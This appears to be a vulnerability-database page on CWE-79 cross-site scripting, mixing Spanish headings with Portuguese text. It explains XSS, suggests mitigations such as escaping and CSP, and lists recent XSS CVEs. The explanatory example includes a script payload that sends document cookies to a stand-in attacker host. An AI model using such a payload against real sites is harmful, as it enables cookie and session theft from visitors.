Fallos del tipo CWE-79

30.271 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-49262HIGHWordPress Sina Extension for Elementor plugin <= 3.6.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-47083MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-24892LOWOpenProject stored HTML injection vulnerabilityEPSS 0.3%CVE-2026-100673HIGHGrav Data Manager before 1.4.5 Stored XSS via item-detail viewEPSS 0.3%CVE-2024-11781MEDIUMSmart Agenda – Prise de rendez-vous en ligne <= 4.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-13395MEDIUMThreepress <= 1.7.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-39649MEDIUMWordPress Essential Addons for Elementor plugin <= 5.9.26 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-82123MEDIUMWordPress Loops & Logic - Reflected XSSEPSS 0.3%CVE-2024-13399MEDIUMGosign – Posts Slider Block <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-13757MEDIUMMaster Slider – Responsive Touch Slider <= 3.10.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via ms_layer ShortcodeEPSS 0.3%CVE-2025-14056MEDIUMCustom Post Type UI <= 1.18.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'label' Import ParameterEPSS 0.3%CVE-2025-47117MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-3457MEDIUMOcean Extra <= 2.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-62796MEDIUMPrivateBin persistent HTML injection in attachment filename enables redirect and defacementEPSS 0.3%CVE-2024-41347MEDIUMopenflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/settings.phpEPSS 0.3%CVE-2025-14076MEDIUMiXML – Google XML sitemap generator <= 0.6 - Reflected Cross-Site Scripting via 'iXML_email' ParameterEPSS 0.3%CVE-2024-44794MEDIUMA cross-site scripting (XSS) vulnerability in the component /master/auth/OnedriveRedirect.php of PicUploader commit fcf82ea allows attackersEPSS 0.3%CVE-2025-47091MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-13140LOWStored Cross-Site Scripting in Canarytokens.orgEPSS 0.3%CVE-2025-11069MEDIUMwestboy CicadasCMS Add Department save cross site scriptingEPSS 0.3%